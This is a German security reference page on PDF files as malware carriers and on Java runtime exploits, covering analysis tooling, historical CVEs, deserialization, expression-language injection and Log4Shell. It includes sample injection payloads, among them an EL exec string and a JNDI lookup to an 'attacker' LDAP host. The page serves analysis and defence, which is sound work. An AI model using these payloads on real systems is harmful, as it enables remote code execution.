Background · 6 Reverse Engineering, Binary & Malware

Dokument- & Runtime-Exploits.

PDF als Delivery-Vehikel (Struktur, Skript-Extraktion, Parser-Quirks) und die Java-Runtime-Exploit-Referenz — historische und aktuelle Muster mit dem, was jeder über die deployte JRE verrät.

PDF — Struktur

File-Layout. Header (%PDF-1.x), Body (nummerierte Objects), xref-Tabelle, Trailer mit Root-Object-Referenz. peepdf / pdfid / pdf-parser für strukturelle Analyse.
Interessante Object-Typen.
- /JavaScript + /JS — JS-Payload (das Offensichtliche).
- /EmbeddedFile — angehängter Payload (Dropper).
- /OpenAction, /AA — Auto-Trigger beim Öffnen.
- /Launch — externe App starten (von modernen Viewern meist gekillt).
- /RichMedia — eingebettetes Flash (historisch; noch in alten Samples).
- /SubmitForm — Form an Angreifer-URL submitten.
Verdächtige Indikatoren. Mismatch zwischen deklarierter Object-Anzahl und tatsächlicher; massive Object-Anzahl für "kleines" PDF; encoded Streams (/Filter /FlateDecode /ASCIIHexDecode verkettet).

PDF — Skript-Extraktion

pdfid file.pdf zeigt Counts verdächtiger Keywords.
pdf-parser -f file.pdf listet Objects mit gefiltertem Content.
Object mit /JS oder /JavaScript finden — Content extrahieren.
Mit js-beautify dekodieren; dann deobfuskieren (oft app.alert(unescape("%u..."))-Shellcode).
Extrahiertes JS in sandboxed JS-Interpreter (spidermonkey) mit gestubbten PDF-spezifischen APIs laufen lassen, um dekodierten Payload zu sehen.

PDF — Viewer-Parser-Disagreements

Adobe Reader vs Foxit vs Browser-native. Jeder parsed xref-Corruption, multiple startxref-Einträge, Header im Body leicht anders. Angreifer craften Files, die ein Viewer ablehnt (von Sandbox genutzt) und ein anderer akzeptiert (vom Opfer genutzt).
Polyglot-Files. Valid PDF + valid ZIP + valid JPEG gleichzeitig. Verschiedene Konsumenten sehen verschiedenen Content.
Sig-Bypass via Incremental-Update. Original-PDF signiert; Angreifer hängt Incremental-Update an, das gerenderten Content ändert; Viewer zeigt aktualisierten Content mit grünem Signatur-Checkmark vom Original.

Java — historische Exploit-Muster

Applet-Sandbox-Escapes (2012–2014). CVE-2012-4681 (TrustedMethodChainsToTrue), CVE-2013-2423, CVE-2013-2465. Definierten die Ära; pushten Enterprises weg von Browser-side Java.
JNLP / Web Start. Java Web Start ließ unsignierte-aber-trusted Apps außerhalb der Sandbox laufen. Mehrfache Bypasses des Trust-Prompts.
Browser-Plugin-EOL. Moderne Browser laufen kein Java. Muster historisch für Forensik; nicht aktuell.

Java — aktuelle Muster

Deserialisierungs-Gadget-Chains (noch primär). readObject auf Angreifer-Bytes + Classpath enthält Gadget-Library (Commons Collections, Spring, Mozilla Rhino, Click). ysoserial generiert Payload. JEP-290-Filter selten konfiguriert. Siehe server-side-language-audits.
Expression-Language-Injection. SpEL, OGNL, MVEL, Velocity. ${T(Runtime).getRuntime().exec('id')}-Muster. Spring-Framework CVE-2022-22965 (Spring4Shell) über diese Oberfläche erreichbar.
Reflection-Missbrauch. App akzeptiert Class-Namen + Method-Namen aus User-Input → beliebige Klasse instantiieren. Oft mit Deserialisierung kombiniert, um Gadgets dynamisch zu finden.
JNDI-Lookup mit angreifer-kontrolliertem Namen (Log4Shell, CVE-2021-44228). ${jndi:ldap://attacker/x} von Log4j resolved → LDAP fetcht Java-Class → geladen und instantiiert → arbitrary RCE.

Was jeder Exploit über die Runtime verrät

Exploit-Erfolg gegen spezifische Gadget-Chain → Classpath bestätigt enthält Library + JRE-Version unter dem Patch.
Log4Shell-Trigger → log4j-core 2.0–2.14.1 vorhanden.
Spring4Shell-Trigger → Spring-Framework mit verwundbarem Binding + JDK ≥ 9.
JNDI gefetcht aber kein Class-Load → JNDI-Lookup enabled, JDK ≥ 8u191 default-disabled LDAP-Class-Load. Noch nützlich als DNS-Callback-Proof.

FaustregelDocument-borne Exploits sind meist Social-Engineering-Wrapper um eine zugrunde liegende Runtime-Vuln. PDF/Office/JNLP ist der Carrier; der eigentliche Exploit ist in der eingebetteten JS / Macro / serialized Payload. Carrier triagieren; Cargo analysieren.